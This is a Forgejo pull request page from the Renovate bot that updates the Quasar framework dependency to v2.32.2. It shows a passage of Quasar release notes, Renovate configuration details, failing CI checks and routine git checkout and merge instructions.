[#&#8203;14967](https://github.com/quasarframework/quasar/issues/14967) - fix(BottomSheet): actions > avatar typing [#&#8203;15893](https://github.com/quasarframework/quasar/issues/15893) - fix(ui): Mark QTable.pagination.sortBy as nullable ([#&#8203;15881](https://github.com/quasarframework/quasar/issues/15881)) - fix(QEditor): Event names for link toolbar cause warning ([#&#8203;15826](https://github.com/quasarframework/quasar/issues/15826)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.12.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.12.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.11.10...quasar-v2.12.0) #### New - perf(ui): faster comparisons throughout the UI - feat(ui): Add support for the Macedonian language in Quasar ([#&#8203;15761](https://github.com/quasarframework/quasar/issues/15761)) - feat(ui): Add type support for EventBus class ([#&#8203;15759](https://github.com/quasarframework/quasar/issues/15759)) - feat(QDrawer): add prop to disable mini animation ([#&#8203;15670](https://github.com/quasarframework/quasar/issues/15670)) - feat(QIntersection): add "hidden" slot [#&#8203;15752](https://github.com/quasarframework/quasar/issues/15752) #### Fixes - fix(TouchSwipe): should not trigger if user is trying to select text with the mouse [#&#8203;15503](https://github.com/quasarframework/quasar/issues/15503) - fix(QTree): expandAll() should not duplicate the already expanded nodes [#&#8203;15764](https://github.com/quasarframework/quasar/issues/15764) - fix(QFile): use indexOf instead of findIndex in removeFile [#&#8203;15727](https://github.com/quasarframework/quasar/issues/15727) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) </details> --- ### Configuration 📅 **Schedule**: (in timezone Europe/Berlin) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate CLI](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC40MS4xIiwidXBkYXRlZEluVmVyIjoiNDQuNDEuMSIsInRhcmdldEJyYW5jaCI6Im1hc3RlciIsImxhYmVscyI6WyJyZW5vdmF0ZSIsInNlY3VyaXR5Il19-->
fix(deps): update dependency quasar to v2.32.2
Some checks failed
renovate/stability-days Updates have met minimum release age requirement
CI / Quasar build (push) Failing after 1m32s
CI / Docker build (push) Failing after 5m7s
CI / Release (push) Has been skipped
4a0fd747f0
Some checks failed
renovate/stability-days Updates have met minimum release age requirement
CI / Quasar build (push) Failing after 1m32s
CI / Docker build (push) Failing after 5m7s
CI / Release (push) Has been skipped
This pull request can be merged automatically.
You are not authorized to merge this pull request.
View command line instructions

Checkout

From your project repository, check out a new branch and test the changes.
git fetch -u origin renovate/quasar-2.x:renovate/quasar-2.x
git switch renovate/quasar-2.x

Merge

Merge the changes and update on Forgejo.

Warning: The "Autodetect manual merge" setting is not enabled for this repository, you will have to mark this pull request as manually merged afterwards.

git switch master
git merge --no-ff renovate/quasar-2.x
git switch renovate/quasar-2.x
git rebase master
git switch master
git merge --ff-only renovate/quasar-2.x
git switch renovate/quasar-2.x
git rebase master
git switch master
git merge --no-ff renovate/quasar-2.x
git switch master
git merge --squash renovate/quasar-2.x
git switch master
git merge --ff-only renovate/quasar-2.x
git switch master
git merge renovate/quasar-2.x
git push origin master
Sign in to join this conversation.
No description provided.